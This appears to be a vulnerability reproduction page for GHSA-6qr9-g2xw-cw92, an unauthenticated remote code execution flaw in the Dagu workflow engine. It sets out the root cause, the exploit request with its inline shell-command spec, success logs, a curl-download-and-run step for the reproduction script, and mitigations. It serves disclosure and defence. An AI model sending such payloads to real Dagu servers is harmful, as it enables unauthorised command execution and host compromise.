GHSA-6qr9-g2xw-cw92: Verified Reproduction
GHSA-6qr9-g2xw-cw92: Dagu Unauthenticated RCE via Inline DAG Spec
GHSA-6qr9-g2xw-cw92 is verified against github.com/dagu-org/dagu · go. Affected versions: <= 1.30.3. Vulnerability class: RCE. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00106.
What Is GHSA-6qr9-g2xw-cw92?
GHSA-6qr9-g2xw-cw92 is a critical missing-authentication vulnerability (CWE-306) in Dagu, whose default configuration ships with authentication completely disabled, allowing unauthenticated remote code execution via an inline DAG spec. Pruva reproduced it (reproduction REPRO-2026-00106).
GHSA-6qr9-g2xw-cw92 Severity
GHSA-6qr9-g2xw-cw92 is rated critical severity.
Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.
Affected github.com/dagu-org/dagu Versions
github.com/dagu-org/dagu · go versions <= 1.30.3 are affected.
How to Reproduce GHSA-6qr9-g2xw-cw92
pruva-verify REPRO-2026-00106 curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00106/artifacts/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for GHSA-6qr9-g2xw-cw92
Reproduced by Pruva's autonomous agents — 153 tool calls over 19 min. Full root-cause analysis and the complete transcript are below.
reproduction_steps.sh How the agent worked
Root Cause and Exploit Chain for GHSA-6qr9-g2xw-cw92
GHSA-6qr9-g2xw-cw92: Dagu Unauthenticated RCE via Inline DAG Spec
Dagu workflow engine versions ≤ 1.30.3 ship with authentication completely disabled by default (AuthModeNone). The POST /api/v2/dag-runs endpoint accepts inline YAML DAG specifications and executes shell commands immediately without requiring any credentials or authentication tokens. This allows any unauthenticated attacker with network access to achieve Remote Code Execution (RCE) by submitting a malicious DAG spec containing arbitrary shell commands.
- Package: github.com/dagu-org/dagu
- Affected Versions: ≤ 1.30.3
- Severity: CRITICAL (CVSS 9.8)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- Consequences:
- Unauthenticated Remote Code Execution
- Full host compromise
- Access to all resources reachable by the dagu process user
- Data exfiltration, lateral movement, and persistence capabilities
Root Cause
Technical Analysis
Default Configuration Vulnerability:
- File:
internal/cmn/config/loader.go:226 - Default setting:
Server: Server{Port: 8080, Auth: Auth{Mode: AuthModeNone}} - This means every fresh installation runs without authentication
- File:
Missing Authorization Check:
- File:
internal/service/frontend/api/v1/api.go - Function
requireExecute()returnsnil(permission granted) whena.authService == nil - This occurs when
AuthModeNoneis configured
- File:
Unsafe Inline Spec Execution:
- File:
internal/service/frontend/api/v1/dagruns.go:56 - Function:
ExecuteDAGRunFromSpec() - Accepts arbitrary YAML spec via POST body
- Calls
loadInlineDAG()followed bystartDAGRun() - No validation or sandboxing of command execution
- The endpoint only checks
requireExecute()which passes when auth is disabled
- File:
Evidence from Source Code
// From internal/service/frontend/api/v1/api.go
func (a *API) requireExecute(ctx context.Context) error {
if a.authService == nil {
return nil // <-- VULNERABILITY: Always allows when auth disabled
}
// ... permission checks
}
Reproduction Steps
The reproduction script is located at repro/reproduction_steps.sh.
What the Script Does:
- Downloads and sets up Dagu v1.30.3 (vulnerable version)
- Starts Dagu server with default configuration (
--dagu-homeset, no auth configured) - Verifies unauthenticated access by querying
/api/v1/dagswithout credentials - Sends exploit payload to
POST /api/v2/dag-runswith inline YAML spec:{ "name": "poc", "spec": "steps:\n - name: rce\n command: echo <MARKER> > /tmp/pwned\n" } - Verifies command execution by checking if the marker file was created
Expected Evidence:
- Server accepts POST request and returns
{"dagRunId": "<uuid>"} - Command executes and creates file at
/tmp/pwned - File contains the unique marker string proving RCE
Evidence
Log Locations
- Server logs:
logs/dagu_server.log - Exploit response:
logs/exploit_response.log - Verification:
logs/verification.log
Key Evidence from Reproduction
[+] Sending exploit request to POST /api/v2/dag-runs...
[+] Payload: echo repro_proof_1771598561_10492 > /tmp/pwned
{"dagRunId":"019c7b80-c2f5-71d0-bdc2-be5a2ac010fe"}
[+] Verifying RCE by checking for marker file...
[+] SUCCESS: RCE confirmed! Found marker 'repro_proof_1771598561_10492' in /tmp/pwned
[+] File contents:
repro_proof_1771598561_10492
Server Access Log Evidence
Response: 200 OK service: "http"
httpRequest: {
url: "http://localhost:8080/api/v2/dag-runs"
method: "POST"
path: "/api/v2/dag-runs"
}
httpResponse: {status: 200 bytes: 52 elapsed: 67.500582}
Environment Details
- Dagu Version: 1.30.3 (vulnerable)
- Test Date: 2026-02-20
- Platform: Linux amd64
- Go Version: 1.24.7
- Curl Version: 8.5.0
Recommendations / Next Steps
Immediate Mitigation
Enable Authentication:
# config.yaml auth: mode: builtin # or 'basic' users: - username: admin password: <strong_password>Network Restrictions:
- Restrict access to Dagu port (8080) to trusted networks only
- Use firewall rules to block external access
Run as Non-Privileged User:
- Never run Dagu as root
- Use dedicated service account with minimal permissions
Long-term Fix
- Vendor Fix: The Dagu project should change the default
AuthModefromnonetobuiltinor require explicit opt-in for unauthenticated mode - Version Upgrade: Upgrade to the patched version when released (after 1.30.3)
Testing Recommendations
- Regression test verifying auth is required by default
- Integration tests for all API endpoints with auth enabled/disabled
- Security scanning of DAG spec parsing for command injection risks
Additional Notes
Idempotency Confirmation
✅ The reproduction script has been tested successfully twice consecutively:
- First run: dagRunId
019c7b80-c2f5-71d0-bdc2-be5a2ac010fe - Second run: dagRunId
019c7b81-148d-7727-9643-9317daa89801
Both runs confirmed RCE with unique markers, proving the script is idempotent.
Edge Cases and Limitations
- Containerized environments: The exploit works in Docker containers running Dagu with default settings
- Cloud deployments: Any publicly exposed Dagu instance without auth configuration is vulnerable
- Operator role bypass: Even with auth enabled, operator-role users can still achieve RCE via inline specs (Finding 2 in the original advisory)
Additional Vectors (from original advisory)
- Operator Privilege Escalation: With authentication enabled, users with
CanExecute=true(operator role) can submit inline specs to achieve the same RCE as admins - Backtick Command Injection:
internal/cmn/eval/substitute.go:57-78evaluates backtick expressions in step parameters without sanitization
References
- GitHub Advisory: https://github.com/advisories/GHSA-6qr9-g2xw-cw92
- Dagu Repository: https://github.com/dagu-org/dagu
- CVE Reports Analysis: https://dev.to/cverports/ghsa-6qr9-g2xw-cw92-dagu-the-friendly-ghost-that-runs-your-malware-ghsa-6qr9-g2xw-cw92-4k13
GHSA-6qr9-g2xw-cw92 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
Unknown error
Unknown error
Artifacts and Evidence for GHSA-6qr9-g2xw-cw92
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix GHSA-6qr9-g2xw-cw92
FAQ: GHSA-6qr9-g2xw-cw92
Why is GHSA-6qr9-g2xw-cw92 exploitable out of the box?
Which Dagu versions are affected by GHSA-6qr9-g2xw-cw92?
How severe is GHSA-6qr9-g2xw-cw92?
How can I reproduce GHSA-6qr9-g2xw-cw92?
References for GHSA-6qr9-g2xw-cw92
Authoritative sources for GHSA-6qr9-g2xw-cw92 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.